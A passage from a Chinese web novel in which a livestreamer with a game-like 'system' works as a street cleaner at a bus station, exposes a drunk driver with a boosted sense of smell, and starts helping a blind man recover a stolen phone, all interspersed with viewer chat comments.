胖子这时终于回过神来，他猛地转头，双眼瞪得像铜铃，声音里带着难以置信的愤怒。 “这都是你安排的？” 林澈笑着走上前，双手摊开，将怀里的金条又放回证物箱，语气轻松得像是在聊家常。 “你看我这下至少又损失了几十万。” “这下明天可以吹牛说损失百万了。” 胖子的嘴角不受控制地疯狂抽搐，脸上青一阵白一阵，活像吞了只死苍蝇。 梁国栋麻利地将金条封箱，扣上搭扣，发出“咔嗒”一声脆响。 大手一挥，声音洪亮有力。 “收队！” 警车呼啸声渐渐远去，带走了垂头丧气的胖子和他的两个同伙。 林澈正拍了拍身上的灰尘，耳畔突然响起清脆的电子音。 【恭喜宿主直播间观众认可度达到100%】 【奖励抽奖盲盒*1】 林澈迫不及待开启了抽奖。 刹那间，一道泛着幽蓝微光的法阵在身前浮现，古朴神秘的纹路缓缓流转。 法阵旁凭空出现一个身着和服、头戴乌帽的阴阳师，正襟危坐，神态肃穆。 法阵中央，一张散发着柔和蓝光的符箓突兀显现。 这熟悉的抽奖场景，林澈已不是第一次经历，轻车熟路地伸出手指，在符箓上随意勾勒出一道弧线。 符箓瞬间化作点点流光，融入法阵之中。法阵光芒大盛，耀眼得让人睁不开眼。 紧接着，林澈只觉鼻腔一阵冰凉，仿佛吸入了山间最凛冽的寒风。 脑中浮现出现信息。 【恭喜宿主能力：嗅觉提升（24h）】 【嗅觉提升：宿主只有愿意，可以闻到任何气味。】 【天地无极万里追踪】 林澈嘴角微抽。 “啊！” “这不就是狗鼻子吗？” 林澈收拾好心情，接下来还有正经事要去干。 转身看向一旁的刘富贵。 “刘师傅，咱们继续。” 刘富贵憨厚地笑着点头。 “嗯嗯，好的。” 两人便又投入到忙碌之中。 与此同时，银河市的一家网吧门口，一个背着黑色双肩包的身影晃悠着走了进来。 Up主一只大橘狗来到了网吧。 推了推歪掉的鸭舌帽，嘟囔着。 “既然自家电脑总会出事。” “那我来网吧岂不是美哉。” “一台出问题可以换另一台。” “我就不信还能都出问题！” 一只大橘狗都为自己的智慧感到倾倒。 得意地扬了扬下巴，从裤兜里掏出身份证，潇洒地往刷卡机上一刷。 下一秒，网吧里的灯光“啪”地熄灭，黑暗瞬间笼罩了整个空间。 “停电了？” 正在疑惑之时。 就听到远处传来急促的脚步声和嘈杂的呼喊。 “网管，机房冒烟了！” “您快去看看吧！” 男网管原本还挂着笑容的脸瞬间变得惨白，瞪大了眼睛惊呼。 “啊？” “怎么可能！” 一只大橘狗心中一惊，悄无声息地混在人群中溜走了。 从这天起，在网吧圈子里，一个恐怖的都市怪谈不胫而走。 据说有张神秘的身份证，只要在网吧刷卡，轻则停电断网，重则引发机房火灾，甚至还能招来警察、消防员查店，让所有网吧老板和上网的人闻之色变。 等到晚上，神通广大的直播间自然也收到了谣言。 “兄弟们，快看这段视频。” 一则链接被甩到直播间里。 一段画质略显模糊的视频在黑色背景中亮起。 画面里，戴着鸭舌帽的男子垂着头走进网吧，帽檐压得极低。 将身份证往前台读卡器上一贴，刹那间，整个屏幕陷入漆黑。 两秒后，画面跳转。 还是那个男子，颤抖着将身份证按在机器上。 这时，玻璃门被猛地推开，两名身着藏蓝色警服的警察跨步而入，腰间的对讲机闪烁红光，锐利的目光瞬间扫过网吧每个角落。 后续画面如同幻灯片般快速切换，七八个不同装潢的网吧接连闪过，只是每次都固定出现问题。 弹幕瞬间炸开，如暴雨倾泻。 “兄弟，你这视频哪来的？” “这哥们好离谱啊。” “是啊，看右下角的时间戳，就在今天啊。” “哪来的？我们市的所有网吧老板都动了起来，势要抓到这个人。” “嘶，这么可怕！等等，我突然想到了什么。” 很快，另一个图片也被贴到了直播间里。 是一只大橘狗在群里发的消息：“兄弟们，我想到了一个天才般的想法，必不可能失败！等我的好消息吧。” “什么想法？当然是去网吧剪视频了！” 弹幕突然安静了半分钟，不知谁率先打破沉默。 “等等......就是说有个看上去倒霉到家的人，很有可能是up主？” “卧槽，之前都说他倒霉，没有感觉怎么样，今天视频一放，现在实锤了！” “这人也太倒霉了。” “刷一下必出事啊。” “这哪是去上网，分明是移动警报器！” “我们市的网吧老板都疯了似的找他，那阵仗老恐怖了。” “哈哈哈哈！@一只大橘狗，出来！这是不是你！” “别装死！快出来认账！” ...... 第109章 长途车站の捡瓶子传说 第二天。 晨光像融化的黄油，顺着窗帘缝隙缓缓淌进房间，在斑驳的水泥地上拖出长长的光影。 林澈顶着鸡窝头木讷地从凹陷的床垫上坐起。 双臂用力向后伸展，脊椎骨接连发出“咔咔”脆响。 眯着眼打了个带着困意的哈欠，后背刚靠上冰凉的床头板。 熟悉的系统提示声在脑中响起。 【叮......】 【职业选择中......】 【获得职业环卫工。】 【环卫工配套装备已准备。】 【请宿主尽快开始直播。】 门口立马传来急促的敲门声。 林澈趿拉着拖鞋，睡眼惺忪地拉开斑驳的铁门。 壮汉站在门口，把一串沾着油渍的车钥匙和叠得方方正正的橘黄色环卫服塞进林澈怀里，粗糙的手指重重往楼下一指。 “车在楼下。” “你负责清扫长途车站那条街。” 林澈机械的点头应下，回屋关上门。 洗漱完毕，穿戴好直播设备。 漆黑的直播间缓缓亮起。 林澈露出标志性的憨厚笑容，脸颊的酒窝若隐若现。 “兄弟们，我又来了。” 然而密密麻麻的弹幕如潮水般涌来，将林澈的问候瞬间淹没。 满屏都在刷着一张像素风图片，定睛一看，分明是张仿照《海贼王》通缉令制作的海报，中央那张一只大橘狗的头像还带着夸张的通缉编号。 林澈凑近屏幕。 “这是啥？” 当听完直播间观众连珠炮般的讲述，林澈浓眉猛地挑起，眼睛瞪得溜圆。 “卧槽，竟然这么倒霉？” “那他被抓到了吗？” 弹幕瞬间沸腾起来。 “主播，你这家伙倒是关心一下人家啊。” “怎么能上来就问有没有被抓到？” “果然都是一样的人，我也等了好久的消息，看样子让狗子跑了。” “狗子虽然倒霉，但每次都能逃走，这家伙不知道运气是好是坏。” “可恶，枉费我给他们出谋划策。” “啊？你竟然资敌，狗子可是我们的狗子，其实我也给他们出主意了。” “哈哈哈哈，你们根本不关心狗子，只想看狗子被抓住，被打得嗷嗷叫。” 林澈拎起那件泛着荧光的橘黄色环卫服，穿在身上。 衣服肩头印着反光条，在晨光下一闪一闪。 “兄弟们，新的一天开始了。” 瞬间，直播间的弹幕如同炸开的爆米花，密密麻麻地涌上来。 “来了！来了！” “看主播这身装扮，直接从装修工进化成扫大街的了。” “这叫环卫工，什么扫大街的，要叫尊称。” “好好好，主播狠狠地扫。” 林澈骑上环卫工的三轮车。 缓缓驶向自己负责的片区。 银河市的晨风裹挟着街边早餐摊的香气扑面而来，林澈眯起眼睛，任由阳光洒在脸上。 长途车站坐落在银河市南端。 路过高铁站，再等一个红绿灯，便到了目的地。 院里整齐地停放着十几辆大巴车，发动机的轰鸣声与乘客的喧闹声交织在一起。 站外，人群如同潮水般涌来，密密麻麻，真像极了搬家的蚂蚁。 林澈从口袋里掏出浅蓝色的口罩，仔细地戴好。 转头对着手机屏幕，眨了眨眼睛问道。 “兄弟们，你们知道环卫工最重要的是什么？” 不等直播间弹幕回答，自顾自回道。 “当然是捡瓶子和纸壳了。” 话音刚落，便骑着三轮车出发了。 左手握着车把，右手拿着铁夹子，目光像雷达般扫视着地面。 发现目标时，猛地捏闸，三轮车“吱”的一声刹住，人还没站稳，夹子已经精准地夹住地上的塑料瓶，手腕一抖，瓶子便稳稳落进身后的车篓里。 直播间的弹幕瞬间沸腾。 “不是，哥们。你怎么还抢大爷大妈的活？” “是啊，哈基林你这家伙。不要抢了！” “看着对面大爷大妈脸色越来越黑啊。” “主播骑着三轮车狂飙，和大爷大妈抢瓶子。” “大爷：裁判，我举报啊！这家伙使道具了！” “长途车站の捡瓶子传说！” 林澈的速度确实快得惊人，在长途车站左右各绕了一圈，车篓里已经躺着十几个瓶子。 瞥了眼不远处正在翻垃圾桶的大爷大妈，那些人个个眼神犀利，像护崽的大公鸡。 只要有人靠近，立刻瞪圆眼睛，大有谁敢伸手就“叨”谁的架势。 林澈缩了缩脖子，在一群敌视的目光注视下，骑着三轮车灰溜溜地驶出车站，朝着街道另一头而去。 直播间的弹幕如暴雨般倾泻而下。 “主播，主播，你为什么不继续捡瓶子了？我看垃圾桶附近还有很多啊。” “为什么呢？是怕被大爷大妈打黑棍是吧！” “那是一群要杀人的目光。” “主播，短短十几分钟就把自己弄成了大爷大妈的敌人。” 林澈笑着挠挠头。 随后故意瞪圆眼睛，做出一副凶巴巴的样子。 “说什么呢。” “主播这可不是怕了。” “而是按照要求从一边扫到另一边而已。” “等我扫完地，再回去和他们抢瓶子。” 弹幕瞬间被“哈哈哈”的笑声刷屏，调侃的话语接连不断。 “主播这不是怂了，这是要先完成工作。” “对，根本不是怂了。” “主播快扫，我要看血流成河！” 林澈听着这些打趣，嘴角始终挂着笑，抄起扫把就开始干活。 脚步轻快，动作娴熟，扫把所到之处，纸屑、落叶纷纷归拢。 从街道左边一路扫到右边，额头上沁出细密的汗珠。 随即就听到系统的提示声。 【恭喜宿主观众认可度达到50%】 【获得奖励生命点*1】 【当前宿主剩余寿命：十五天】 就在这时，密集的弹幕突然疯狂闪动。 “主播，快看前面！” “有人在乱扔垃圾。” “就是前面的白车！” 林澈顺着弹幕指引的方向抬头望去，只见前方不远处，一辆白色轿车歪斜地停在路边。 半开的车窗里，一只戴着金表的胳膊随意搭在外面，随着手腕的抖动，瓜子皮和橘子皮如同雨点般簌簌落下。 就在这时，一个背着书包的男学生走上前。 微微弯腰，仰着头，嘴里似乎在说着什么，清秀的脸上满是认真。 “砰！”车门被猛地踹开，一个铁塔般的身影从车上走下来。 第110章 垃圾就该扔到垃圾该去的地方 男子板寸头根根竖起，脸上横肉堆叠，身上的花衬衫紧绷在壮硕的身躯上。 他居高临下地瞪着面前只到他肚子的男学生，双眼瞪得像铜铃，眼神凶狠得仿佛要把人吞下去。 林澈见状，三步并作两步快步上前。 还没走近，男子震耳欲聋的怒吼声就传了过来。 “现在的孩子都这么不懂事吗？” “你爸妈怎么教你的！” “知不知道要尊重长辈？” 穿着蓝白相间校服的男学生脖颈青筋暴起，梗着脖子，涨红的脸上满是倔强。 紧攥着拳头，指节因用力而发白，大声反驳道; “不能乱扔垃圾！” 男人倚在白色轿车旁，鞋随意地蹭着车身，脸上挂着轻蔑的笑。 忽地仰头，发出一阵刺耳的大笑，眼睛眯成两条缝，嘴角高高扬起，仿佛面前站着的不是个学生，而是什么滑稽的小丑。 慢悠悠地拉开车门，从椅旁的储物格里取出一个橘子，手指灵巧地剥开橘子皮，白色的经络丝丝缕缕垂落。 他故意将橘子皮一瓣一瓣地扔在男学生脚边，碎屑溅到了学生泛白的运动鞋上。 “那我扔了。” “你又能怎么着？” “才多大就想学着别人教训人？” “毛都没长齐呢！” 男学生的脸色瞬间变得铁青，鼻翼急促地翕动着，胸膛剧烈起伏。 死死盯着地上的橘子皮，喉结上下滚动，突然蹲下身，手指在地面上快速收拢，将果皮拢成一小堆。 猛地站起身，扬手就要把果皮全都扔进男人车里。 男人眼疾手快，手臂如闪电般挥出，“啪”的一声打翻了男学生的手，暴起的青筋在他发红的额头上跳动。 男人怒目圆睁，食指像根铁钉般重重戳在男学生胸口，唾沫星子喷溅而出。 “你踏马的。” “给你脸不要是吧。” “非得你一点教训是不？” 直播间的弹幕如潮水般疯狂刷屏。 “卧槽！对个学生发狠。” “来！有种对着主播来！” “不是，哥们。这句话不是对着自己来吗？” “我又没在现扬，当然是对着主播来了！” “哦哦哦，也对也对。” “来！对着主播来！” “狠狠地揍主播。” “？？？” 林澈一边靠近，一边眉头微蹙。 空气中除了燥热的气息、橘子皮被碾碎后散发出的酸味外，还有一股特殊的味道。 男学生被戳得连连后退，后背抵在路边的栏杆上，脸上写满了惊恐与不甘。 男人脸色狰狞，一双铜铃般的眼睛瞪得老大，血丝密布。 他一把薅住男学生的衣领，将人提得双脚离地，恶狠狠地质问。 “往我车里扔？” “谁给你的勇气？” “竟然敢做这种事！” “今天非得给你个教训。” 说着，他高高扬起手掌，就要朝男学生脸上扇去。 就在这千钧一发之际，一只骨节分明的手稳稳按住了男人的胳膊。 林澈面带和煦的笑容，眼底却泛着冷意，声音轻柔却带着不容置疑的压迫感。 “怎么了？” “出什么事了？” 男人的目光像淬了毒的匕首，死死盯在林澈身上。 他先是盯着林澈小臂上虬结的肌肉，那些线条在环卫服单薄的布料下若隐若现，又打量着对方宽厚的肩膀，意识到对方的体格竟丝毫不输自己。 尤其是林澈按住他胳膊的手掌，掌心传来的力道仿佛铁钳，完全碾压了自己挣扎的力量。 面色顿时放缓。 男人的脸色瞬间由青转白，喉结艰难地滚动了两下，终于不甘心地松开了拎着男学生衣领的手。 梗着脖子，脸上的怒容未消，唾沫横飞地辩解道： “我在这里吃东西。” “他没事上来就对我说教。” “让我不要乱扔东西。” “我这么大个人不要面子？” “再说这里不是有环卫工吗？” “要是没有垃圾，他们还怎么工作。” 直播间满屏的问号飘过，愤怒的弹幕像炸开的油锅。 “好一个歪理。” “什么叫没有垃圾，他们还怎么工作？” “合着主播还得谢谢你给他工作呗！” “这也太踏马离谱了。” “照这么说干丧事就得杀人喽，没人死还怎么工作。” “我去，你这个才是真的歪理。” 话音未落，男人低头瞥见林澈身上的环卫服。 他的表情瞬间僵住，嘴角不自然地抽搐了两下。 男学生涨红着脸，像只炸毛的小兽般顶上前去，鼻尖几乎要撞上男人的胸口。 声音因为激动而微微发颤，校服领口被汗水浸湿，紧紧贴在皮肤上。 “你做得不对，我就应该站出来。” “把地上的东西收回去！” 林澈唇角勾起一抹意味深长的笑，不慌不忙地横跨一步，用自己高大的身躯将男学生完全护住，只露出对方倔强的小脑袋。 弯腰抄起竹扫把，动作利落地将橘子皮扫成一堆，枯叶和碎屑随着扫帚的挥动簌簌作响。 男人盯着这一幕，突然伸手指着学生，脸上挂着扭曲的得意。 “你现在看明白了吗？” “什么人该干什么事，他是扫大街的，所以扫地。” “而我还有更要紧的事。” 男学生皱紧眉头，额前的碎发被汗水黏在皮肤上，眼神里满是不忿与困惑。 林澈直起身子，将扫把轻轻靠在路边的花坛上，掸了掸手上的灰尘，笑容温和却带着不容置疑的力量。 “垃圾就该扔到垃圾该去的地方。” 男人下意识地点点头，脱口而出。 “对，这就是扫大街该做的事。” 男人扫了一眼学生，脸上挂着嘲讽的冷笑，唇角歪斜着，眼中满是不屑。 猛地一甩头，转身“哐当”一声拉开车门，一屁股重重坐进驾驶座，座椅发出不堪重负的吱呀声。 男人刚要发动引擎，一道巨大的阴影突然笼罩在车窗上。 第111章 酒驾 细碎的垃圾噼里啪啦砸在仪表盘、座椅上，还有几片果皮黏在男人惊愕的脸上 男人瞪大双眼，嘴巴张成夸张的O型，脸上的嘲讽瞬间凝固，整个人呆坐在座位上，仿佛被施了定身咒。 林澈拍了拍手上的灰尘，转头看向男学生，眼神温和。 “看到了吗？” “垃圾就该倒进垃圾桶里。” 男学生眼睛亮晶晶的，像得到认可的小狗般用力点头，连声道。 “嗯嗯嗯，我学会了。” 直播间里，弹幕如同沸腾的火锅般炸开。 “我们也学会了。” “刚刚试了一下，被人追着打了五条街，请问该怎么办？” “你傻啊，干这种事首先就要有主播的身手。” “否则被打不是应该的吗？” “懂了，这就去找A级通缉犯战斗去。” “大傻春，别去啊！你会被细细剁成臊子的。” 男人终于反应过来，气得满脸涨红，如同煮熟的龙虾，他一拳狠狠砸在方向盘上，喇叭“嘀——”地发出刺耳的长鸣。 猛地踹开车门，车门撞到旁边的护栏又弹回来，发出“砰”的巨响。 瞪着铜铃般的牛眼，手指颤抖着指向林澈。 “你！你！你！” 林澈双手抱胸，神色平静地与他对视，身后的男学生紧张地攥着衣角，身体微微前倾，似乎随时准备冲上前帮忙。 男人扬起脚，作势要踹向林澈，可就在脚尖即将触及对方的瞬间，他的动作突然僵住。 一连串念头在他脑海里疯狂闪过。 “这人不会是来碰瓷的吧？” “扔垃圾这种事怎么搞其实都没事，警察大概也不会管。” “但自己要是给他一脚。” “嘶.......” 想到可能面临的麻烦，他额头上渗出细密的汗珠，原本愤怒的眼神也渐渐变得犹豫。 最终，男人咬了咬牙，恶狠狠地瞪了林澈一眼，嘴角扯出一抹难看的弧度。 “煞笔！” 男人用力甩上车门。 直播间的观众见状，纷纷发出失望的弹幕。 “不是，哥们。” “主播都这么做了，你别继续装作昏睡的丈夫了。” “快给主播这个逼人一拳，我要看血流成河。” “打他丫的，我早就看他不爽了，当然我说的对方。” “你们这群家伙，看热闹不嫌事大。” 林澈有些懵逼。 而男人则一脸嚣张，嘴角挂着轻蔑的笑，从车窗中竖起中指。 随着发动机“嗡”的一声轰鸣，车子缓缓启动。 就在这时，林澈像是被按下了快进键，猛地一个箭步冲上前去，稳稳地挡在车头前。 男人透过挡风玻璃，看到林澈的举动，眼神瞬间变得凶狠起来，咬着后槽牙恶狠狠地骂道。 “玛德，这果然是个碰瓷的！” 怒不可遏地重重按了两声喇叭，刺耳的声响在街道上空回荡，惊飞了路边树上的几只麻雀。 林澈毫不畏惧，手指如利剑般直指男人，眼神中透着锐利的光芒，大声质问道。 “你刚刚开车是吧！” “你可知道酒驾入刑吗？” 之前林澈就敏锐地察觉到空气中飘散着一股淡淡的酒味，此刻终于派上了用扬。 男人的脸色瞬间阴沉下来，如同暴风雨前的乌云，可很快又挤出一抹狞笑。 “酒驾？” “呵呵，那是昨晚喝的。” “关今天的我什么事？” 说罢，他猛地推开车门，大步走到林澈面前，脸上的冷笑仿佛能结冰。 “哈哈哈。” “好，你说我酒驾？” “报警吧。” “要是没有酒驾，看我不告你个讹诈！” 男人掏出手机，对着林澈就是一阵猛拍，嘴角挂着挑衅的弧度。 林澈微微一怔，眼中闪过一丝诧异。 “还真没遇到过这种事。” “不过，既然你同意，那就开始吧。” 说着，毫不犹豫地掏出手机，快速拨通了交警大队队长赵建军的电话。 “嘟——嘟——” 几声等待音过后，电话那头传来赵建军带着疑惑的声音。 “林澈，怎么了？” 林澈目光如炬，扫了一眼对面满脸不屑的男人，语气坚定地说道。 “警官，这里发现个酒驾的人。” “你们赶紧派人过来吧。” 电话那头先是传来一阵短暂的沉默，紧接着赵建军惊讶的声音传来。 “啊？！” “哦，好好好，给我个位置。” “我这就带人赶到。” 林澈：“长途车站这边。” 直播间里，弹幕如同炸开了锅，各种无厘头的调侃漫天飞舞。 “老梁：别问了，爱过。” “今天竟然不是老梁，差评。” “哈哈哈，老梁你在看吗？” “在看！” “这何尝不是一种ntr呢！” “怎么哪里都有牛头人啊。” 约莫一刻钟后，尖锐的警笛声划破空气，一辆警车闪烁着红蓝警灯，后面跟着一辆白色救护车，一前一后急刹在现扬。 赵建军动作利落地推开车门。 步伐矫健的一马当先从车上下来，目光如鹰隼般左右环顾一圈。 最后锁定在林澈和站在他旁边满脸不耐烦的男人身上。 那男人双手抱胸，嘴角挂着嘲讽的笑，下巴高高扬起，一副有恃无恐的模样。 “交警，这人污蔑我酒驾！” “我这身上哪有酒味。” 说着故意张开双臂转了一圈，试图证明自己的清白。 赵建军眉头微皱，上前仔细闻了闻，确实没捕捉到明显的酒味， 但多年的办案经验让他没有丝毫松懈，朝身后的医生示意了一下。 “抽个血检查。” 两名医生迅速上前，将男人带到了救护车里。 赵建军转身走到林澈面前。 “能确定吗？” 林澈微微点头，眼神中透着笃定。 “九成九。” 别人或许闻不到，但林澈可是能够清晰地闻到。 再加上夏国对酒驾的严苛法律。 这人进去已是必然。 赵建军的目光落在林澈身上的环卫服上，不禁调侃道。 “今天体验环卫工了。” 林澈笑着点头，突然想起什么，一把将躲在身后的男学生推到身前。 男学生穿着校服，局促地揪着衣角，耳朵涨得通红。 “他是最早发现的人。” “要是确定了那人酒驾能不能给他送一面锦旗？” 第112章 锦旗 “当然可以。” 林澈轻咳一声，眼中闪过狡黠的光芒。 “其实我还有个小小的要求。” 赵建军挑眉示意他继续，林澈凑近一步，压低声音。 “其实锦旗直接送到学校也不太好。” “我觉得可以从市教育局开始。” “然后再到学校，最后是开大会时再送给学生。” 男学生听完，浑身因为激动而止不住地颤抖。 赵建军沉思片刻，重重地点点头。 “可以。” 直播间里，弹幕如同汹涌的潮水疯狂滚动。 “卧槽！卧槽！” “主播，你要干什么？” “我光是想想就觉得爽得发麻。” “要是我上学的时候，被这么表扬一通。” “好事！老子干的就是好事！” “主播：我是个擅长把握学生人性的环卫工，三句话让学生浑身颤抖。” “你是会总结的，完全曲解了意思。” 没过多久，车内的验血结果便快速出炉。 医生攥着报告单，走到倚着警车、双臂抱胸的赵建军身边，将报告单递过去。 赵建军戴着白手套的手指接过纸张，目光如炬，快速扫过上面的数据，随即猛地转头，漆黑的瞳孔死死锁定在男人身上。 男人先前还抖着腿，满不在乎地歪靠在路边的路灯柱上，此刻被赵建军这目光一盯，心脏瞬间像是被一只无形的手攥紧，“咯噔”一下。 下意识地伸手抹了把脸，突然重重一拍自己的大腿，想到了关键的地方。 “警察，我没开车啊！” “我之前是想开车。” “但我还没来得及走，就被人拦下来了。” “我家本来就在附近，所以不应该算是酒驾。” 赵建军微微侧头，看向站在一旁身姿挺拔的林澈。 浓眉微扬，等着他给出解释。 林澈嘴角缓缓勾起一抹自信的弧度，指尖在胸口的摄像头点了几下。 “谁说你没开车的。” “来仔细看清楚。” 林澈将直播间录播放出来。 视频里，那辆白色轿车在男人上车之后，足足往前开了半个车身的距离。 随后林澈才快步上前把车拦住。 为了让所有人都看清，林澈修长的手指反复点触屏幕，将这段画面循环播放。 赵建军双臂抱得更紧了，目光如鹰隼般盯着男人。 豆大的汗珠顺着男人头发滑下，在他的领口晕开深色的痕迹，他喉结上下滚动，声音发颤。 “啊。” “这.......” “我就开了这么一小段路啊。” “连一步都没有。” “没啥大事吧。” 赵建军突然低笑出声，嘴角勾起一抹意味深长的弧度，警帽檐下的眼神却依旧冰冷。 “走吧，跟我们回去一趟。” “有没有事，回去再好好细说。” 男人脸色瞬间煞白，原本笔直的脊梁也佝偻下来，他慌乱地连连摆手。 “我...我不去。” 赵建军眉头瞬间蹙起，上前半步，身上的警服随着动作发出细微的摩擦声。 “不去？” “你想抵抗执法？” 威压之下，男人像被抽走了脊梁，脑袋深深埋下，肩膀垮塌，长叹一声，如同泄了气的皮球，耷拉着脑袋，灰溜溜地钻进警车后排，刚才的嚣张劲儿荡然无存。 赵建军眼角笑出几道褶皱，他拍了拍林澈的肩膀。 又将目光转向一旁局促不安的男学生，语气温和道。 “林澈，小同学。” “答应你们的事我回去就安排。” “争取在下周一的大会上就给你送过去。” 男学生听闻，低垂着头，手指无意识地绞着衣角，紧张得说不出话。 赵建军见状，眼中满是笑意，粗糙的手掌轻轻揉了揉男学生的头发，安抚似的拍了拍他的后背，随后转身拉开警车车门，动作利落地坐进车内。 随着引擎的轰鸣声响起，警车如离弦之箭般，风驰电掣般地消失在眼前。 男学生望着远去的警车，久久没有移开视线。 半晌，他转过头，亮晶晶的眼睛看向林澈，眼中满是兴奋与感激。 林澈耸了耸肩，两手一摊，嘴角勾起一抹轻松的笑意。 “看我干什么？” “那是你自己争取来的。” 男学生听了，用力地点了点头，胸口因为激动微微起伏着。 与此同时，直播间里的弹幕疯狂刷屏。 “卧槽！这种奖励别说他一个十几岁的小屁孩了，就算是我这种老登也挡不住啊。” “这种事谁能受得了啊。” “叔叔我啊，都羡慕死了。” “小孩哥，听叔一句劝，年纪轻轻这种事你扛不住，让叔叔来。” “小孩哥，这下可是风光无限了。” 林澈笑着摇了摇头，目送男学生蹦蹦跳跳地离开后，他弯腰捡起一旁的扫把，继续清扫着街道。 在寂静的街道上发出“沙沙”的声响。 恰在这时，林澈的脑海中突然响起一阵清脆的提示音。 【直播间观众认可度达到80%】 【宿主当前职业：环卫工】 【正在抽取当前职业技能......】 【恭喜宿主获得高价值物品察觉】 【红橙黄绿青蓝紫，价值越高显示出的颜色也随之变化。】 林澈微微一怔，随即嘴角勾起一抹若有若无的笑意。 好奇地眯起眼睛，尝试使用新获得的技能。 目光扫过街道，路边的物品大多呈现着平淡的颜色，没有什么特别之处。 忽然，目光被路边的绿化带吸引，那里闪烁着一道醒目的橙光。 林澈快步走过去，拨开层层绿叶，伸手一掏，一只运动耳机便被拿了出来。 捏着耳机，眉头微皱，眼中满是疑惑。 正琢磨着这只普通的耳机为何会显示橙色价值时，心里犯起了嘀咕： “一只耳机也没法用啊？” 林澈正端详着耳机，余光瞥见人行道上一个穿着运动服，低头神色匆匆的中年人走过来。 那人戴着鸭舌帽，脑袋低垂，运动鞋底与地面摩擦出的“沙沙”声，应该正在寻找什么。 待身影靠近，两人不经意间抬头对视，中年男人的眼睛突然瞪大，死死盯着林澈掌心的耳机，喉结剧烈滚动。 中年人三步并作两步跨过来，胸前挂着的运动水壶随着动作晃荡，撞出清脆声响。 “兄弟，这耳机是我的。” “跑步时不小心掉下来了。” 第113章 小偷 林澈笑着递出耳机。 “哦，给你。” 对方接过耳机时，脸上的焦急瞬间化作狂喜，连连鞠躬道谢。 “谢谢，这都是我第三次丢耳机了。” “十分感谢你。” “要不我还得花几百块配个耳机。” 话音未落，中年男人已经从贴身口袋掏出一张崭新的百元钞票，不由分说地塞进林澈环卫服的侧兜。 林澈：“啊...谢谢。” 男人却已经摆摆手，转身继续奔跑。 “再见，小兄弟。” 随后转头继续跑步去了。 林澈拿着红票。 明白这个新获得技能的效果了。 直播间突然炸开满屏弹幕。 “不是，哥们，你怎么能出门捡钱呢？” “是啊，咱们都是好兄弟，听我一句话，把钱扔了。” “呜呜呜，主播两个小时赚了我一天的钱。” “欧吃矛！” 林澈笑着调侃道。 “兄弟们，说什么呢。” “几块钱而已，咱们继续扫地。” 林澈抄起扫把，有了新技能加持，目光变得敏锐。 每扫过一段街道，总能发现绿化带里泛着红光的纸壳，或是墙角处闪烁微光的塑料瓶。 那些旁人眼中很难发现的废品，此刻在他眼中都成了跳动的红色标记。 正午的太阳像个巨大的白炽灯，柏油路面蒸腾着热浪，空气里弥漫着柏油融化的焦糊味。 林澈抹了把顺着睫毛滴落的汗珠，环卫服后背已经洇出深色汗渍。 拖着装满废品的推车，躲进长途车站保安亭的阴凉处，金属栏杆还残留着阳光的余温。 “这天真热啊。” “今年恐怕又是一个酷暑。” 保安亭里，风扇吱呀转动，保安大爷端着不锈钢饭盒，往嘴里扒拉了一大口蛋炒饭，油星子沾在花白的胡茬上。 咽下食物，笑着点头： “是啊，今年格外的热。” “小林，你做饭这么好吃。” “为什么还扫大街？” “随便摆个摊岂不是能赚更多？” 林澈正用袖口擦汗，闻言将扫把靠墙放好，解释道。 “我是直播体验各种职业。” 林澈半个小时前，借厨房露了一手，颠勺的火光映得保安大爷直咂舌。 而饭菜的香味更是让大爷咋舌。 作为回报，大爷默许他在保安亭里吹空调休息。 时不时出去转一圈，没有垃圾就回来继续歇着。 林澈刚瘫坐在塑料椅上，指尖还没触到手机屏幕，“哒哒”的敲击声突然从玻璃窗外传来。 转头望去，只见一位戴着墨镜、手持盲杖的青年立在烈日下，米色短袖被汗水洇出深色斑块，双肩包带子歪歪斜斜挂在肩头。 青年摸索着门框，声音温润。 “请问这里是失物登记的地方吗？” 林澈连忙起身，三步并作两步扶住对方胳膊：“小心台阶。” 青年连忙道谢。 保安大爷将吃剩的饭盒推到一旁，钢勺磕在盒沿发出清脆声响。 “是，小伙子你丢什么了？” 青年摸索着扶手，喉结滚动。 “我的手机不小心丢了。” “您能帮我发个消息吗？” 保安大爷眉头拧成个“川”字，目光扫过青年。 “小伙子，就丢了手机？” “其他东西呢？” 青年摇头，发丝间渗出细密的汗珠。 “没有。” 林澈看着保安大爷欲言又止，试探性地问道。 “小偷？” 保安大爷重重叹了口气。 “最近长途车站附近来了一伙贼。” “就这个月吧。” “在我这里登记丢弃贵重物品的人已经有十一位了。” “警察都来了很多次。” “可那些人滑得像泥鳅，一转头就没了踪影。” “小偷这种除非是当扬人赃并获，后面把东西一藏，总不能挨个搜身吧。” 林澈听完保安大爷的话，眉头紧锁，轻轻点头。 “确实如此。” “警察查监控了吗？” “嫌疑人锁定了吗？” 保安大爷撇了撇嘴，用手指指了指那锈迹斑斑的监控头。 “就这七八年前的老古董。” “十米之外人畜不分。” “小偷？对方是不是个人都看不到。” “反映过很多次，但想要换东西哪有那么简单。” “估计得等领导们被偷过一次，才能换新的。” 直播间里的弹幕疯狂滚动。 “奶奶的，小偷真他妈不是个东西。” “怎么连盲人的手机都偷了。” “主播，快锤死他们这群杂种。” “就决定是你了，哈基林。” “今天找不到手机，主播你就别回来了。” “还有这车站的领导也是，没偷到他们头上就不管是吧。” 林澈盯着那老旧的摄像头，一时语塞，心中满是无奈，这状况确实棘手。 一旁的盲人青年耷拉着脑袋，原本就苍白的脸色更显黯淡。 “既然如此，那也没办法了。” 这个世界，健全人活着都不容易，更何况是一位盲人。 林澈决定帮帮他。 “和我说说详情。” “没准真的只是丢了呢。” “我能帮你找到。” “你什么时候发现手机丢了的？” 青年原本低垂的头猛地抬起，脸上满是惊喜与感激，双手紧紧握住林澈的手。 “我在厕所里时手机还在兜里。” “因为我当时听到了短信的信息。” “出来后，我口渴打算去买瓶水。” “结果等到了超市里，准备付钱的时候，发现手机没有。” “超市老板人很好，水还是送给我了。” 林澈神色一凛，转头看向保安大爷，目光灼灼。 “大爷，超市和厕所离得近吗？” 保安大爷回道。 “两个地方就是斜对角。” “可能也就五十米的距离。” 话音刚落，林澈“嚯”地站起身。 “走，跟着我去一趟现扬。” 林澈拥有了新获得的技能。 若是单纯遗失，他能凭借技能一眼锁定物品； 若是遭了小偷，他也能在现扬向路人打听，说不定能从蛛丝马迹中揪出目击证人。 第114章 味道 日头把柏油路晒得发软，林澈抬手抹了把额角的汗，转头看向身旁局促不安的青年。 对方攥着衣角的手指微微发白，鼻尖沁出细密的汗珠。 